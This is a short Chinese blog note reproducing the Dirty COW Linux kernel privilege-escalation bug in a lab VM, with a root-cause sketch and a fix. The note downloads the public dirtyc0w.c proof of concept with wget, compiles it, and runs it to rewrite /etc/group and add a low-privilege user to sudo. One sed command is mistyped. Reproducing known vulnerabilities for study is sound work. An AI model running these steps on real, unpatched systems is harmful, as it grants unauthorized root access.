脏牛漏洞复现
- 2019 年 10 月 7 日
- 筆記
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
0X1 环境搭建
环境:Ubuntu-14.04.4-desktop-amd64.iso
利用条件:Linux kernel >= 2.6.22
0X2 漏洞复现
adduser test/123456
su test
id


下载poc:
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
编译:
gcc -pthread dirtyc0w.c -o dirtyc0w
./dirtyc0w /etc/group "$(sed'/(sudo*)/ s/$/,test/' /etc/group)"
exit

打开另一个终端查看test账户的组信息:


即可完成提权工作!在诸多安全攻防环境中,该漏洞被作为提权的漏洞可能性非常大。
0X3 漏洞成因
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
0x4 修复方法
更新系统内核版本